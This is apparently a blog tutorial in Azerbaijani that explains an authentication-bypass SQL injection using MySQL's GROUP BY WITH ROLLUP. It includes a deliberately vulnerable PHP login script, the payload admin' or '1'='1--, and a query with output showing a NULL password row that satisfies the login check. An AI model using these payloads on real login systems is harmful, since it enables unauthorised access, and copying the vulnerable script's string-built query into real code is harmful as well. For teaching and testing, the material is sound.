HardCore episode 2. WITH ROLLUP modifier trick

Column Data Truncate injection mövzusunu yazanda verilmiş authentication hissəndə sql injection olduğunu və ondan başqa bir mövzuda yazı yazacağımı demişdim.Bu gün auth injection bypass metodunu fərqli bir texnika üzərindən realizə edəcəyik

Group by şərtində WITH ROLLUP modifikatoru hər hansı bir sorğunun outputunda ekstra sətir yaranmasını təmin edir.

http://dev.mysql.com/doc/refman/5.0/en/group-by-modifiers.html

Qeyd üçün deyim ki,bəzi payloadlar da burada keçərlidir məs.(admin’ or ‘1’=’1– və.s)

<?php

mysql_connect('localhost','root','xxxxxxxxx');
mysql_select_db('yourowndb');

if($_POST){

$username = strip_tags($_POST['login']);
$password = strip_tags(md5($_POST['pass']));

$query = mysql_query("select * from users where login='$username' and pass='$password'");

if(mysql_num_rows($query)>0){

echo 'Admin panel<br>';
while($row = mysql_fetch_array($query)){

echo "ID: ".$row['id'];
}
}else{
echo 'istifadeci adi ve ya sifre yanlisdir';
}

}

?>
<center>
<form method="post">
<label>Username: </label><input type="text" name="login"> </br></br>
<label>Password: </label><input type="password" name="pass"> </br></br>
<input type="submit" value="Daxil ol"> </br>
</form>

</center>

mysql> select * from users where login='admin' group by pass with rollup;
+----+-------+----------------------------------+
| id | login | pass |
+----+-------+----------------------------------+
| 1 | admin | 0cc175b9c0f1b6a831c399e269772661 |
| 1 | admin | NULL |
+----+-------+----------------------------------+
2 rows in set (0.00 sec)

Burada group by dan sonra gələn column -u `pass` dan dərhal sonra with rollup yazdıqda yaranmış ekstra sətirdə pass columnuna NULL təyin edir və şifrə boş ötürüldüyündən şərt təmin olunur.

Advertisements

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s